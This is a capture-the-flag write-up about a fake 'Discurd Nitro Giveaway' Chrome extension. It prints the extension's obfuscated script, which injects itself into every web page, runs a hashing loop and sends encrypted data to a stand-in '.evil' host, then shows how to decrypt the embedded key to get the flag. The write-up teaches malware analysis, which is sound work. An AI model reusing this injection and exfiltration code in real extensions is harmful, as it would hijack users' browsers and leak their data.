← Back to blog

ChromeMiner

Discurd has filed a DMCA violation regarding a popular browser extension claiming to be conducting VIP giveaways on the company’s product. The addon store has since taken down the extension to prevent any potential browser cryptomining malware from being distributed in the marketplace. Could you investigate what the ‘Discurd Nitro Giveaway’ addon does exactly?

Recon

We are given a single artifact, the suspicious browser extension. Running file against it confirms it is a packaged Chrome extension rather than a plain archive.

file DiscurdNitru.crx
DiscurdNitru.crx: Google Chrome extension, version 3

A .crx file is essentially a ZIP archive with a small CRX header prepended. To inspect the source we need to strip that header and extract the extension’s files. An easy way to do this without fiddling with the header offset manually is the online CRX Extractor, which unpacks the archive and lets us browse the JavaScript inside.

http://crxextractor.com/

Enumeration

Extracting the extension reveals its background/content script. The code is heavily obfuscated using bracket-notation property access (window["..."] instead of window.) to hinder casual reading, but the logic is recoverable. The script injects a function (iF) into every page that loads over HTTP/HTTPS via chrome.scripting.executeScript, triggered from the chrome.tabs.onUpdated listener.

async function iF() {
    if (!("injected" in document)) {
        document["injected"] = true;
        window["setInterval"](async () => {
            y = new window["Uint8Array"](64);
            window["crypto"]["getRandomValues"](y);
            if ((new window["TextDecoder"]("utf-8")["decode"](await window["crypto"]["subtle"]["digest"]("sha-256", y)))["endsWith"]("chrome")) {
                j = new window["Uint8Array"](y["byteLength"] + (await window["crypto"]["subtle"]["digest"]("sha-256", y))["byteLength"]);
                j["set"](new window["Uint8Array"](y), 0);
                j["set"](new window["Uint8Array"](await window["crypto"]["subtle"]["digest"]("sha-256", y)), y["byteLength"]);
                window["fetch"]("hxxps://qwertzuiop123.evil/" + [...new window["Uint8Array"](await window["crypto"]["subtle"]["encrypt"]({
                    ["name"]: "AES-CBC",
                    ["iv"]: new window["TextEncoder"]("utf-8")["encode"]("_NOT_THE_SECRET_")
                }, await window["crypto"]["subtle"]["importKey"]("raw", await window["crypto"]["subtle"]["decrypt"]({
                    ["name"]: "AES-CBC",
                    ["iv"]: new window["TextEncoder"]("utf-8")["encode"]("_NOT_THE_SECRET_")
                }, await window["crypto"]["subtle"]["importKey"]("raw", new window["TextEncoder"]("utf-8")["encode"]("_NOT_THE_SECRET_"), {
                    ["name"]: "AES-CBC"
                }, true, ["decrypt"]), new window["Uint8Array"](("E242E64261D21969F65BEDF954900A995209099FB6C3C682C0D9C4B275B1C212BC188E0882B6BE72C749211241187FA8")["match"](/../g)["map"](h => window["parseInt"](h, 16)))), {
                    ["name"]: "AES-CBC"
                }, true, ["encrypt"]), j))]["map"](x => x["toString"] 16["padStart"](2, "0"))["join"](""));
            }
        }, 1);
    }
};
chrome["tabs"]["onUpdated"]["addListener"]((tabVar, changeInfo, tab) => {
    if ("url" in tab && tab["url"] != null && (tab["url"]["startsWith"]("https://") || tab["url"]["startsWith"]("http://"))) {
        chrome["scripting"]["executeScript"]({
            ["target"]: {
                ["tabId"]: tab["id"]
            },
            function: iF
        });
    }
});

Deobfuscation

Reading through the WebCrypto calls, the interesting part is the nested key handling. The literal hex blob is decrypted with AES-CBC using the string _NOT_THE_SECRET_ as both the key and the IV, and the decrypted result is then imported as the real AES key used to exfiltrate the random/hashed payload. The string _NOT_THE_SECRET_ is a deliberate misdirection (the variable names suggest the opposite), but it is in fact the key/IV material we need to recover the embedded secret. The hex blob to decrypt is:

E242E64261D21969F65BEDF954900A995209099FB6C3C682C0D9C4B275B1C212BC188E0882B6BE72C749211241187FA8

Flag

We replicate that inner crypto.subtle.decrypt step in CyberChef: AES-Decrypt in CBC mode, with the key and IV both set to the UTF-8 string _NOT_THE_SECRET_, taking the hex blob as input. This recovers the hidden value that the malware would otherwise have used as its encryption key.

https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'UTF8','string':'_NOT_THE_SECRET_'%7D,%7B'option':'UTF8','string':'_NOT_THE_SECRET_'%7D,'CBC','Hex','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&input=RTI0MkU2NDI2MUQyMTk2OUY2NUJFREY5NTQ5MDBBOTk1MjA5MDk5RkI2QzNDNjgyQzBEOUM0QjI3NUIxQzIxMkJDMTg4RTA4ODJCNkJFNzJDNzQ5MjExMjQxMTg3RkE4

The decrypted output is the flag:

HTB{__mY_vRy_owN_CHR0me_M1N3R__}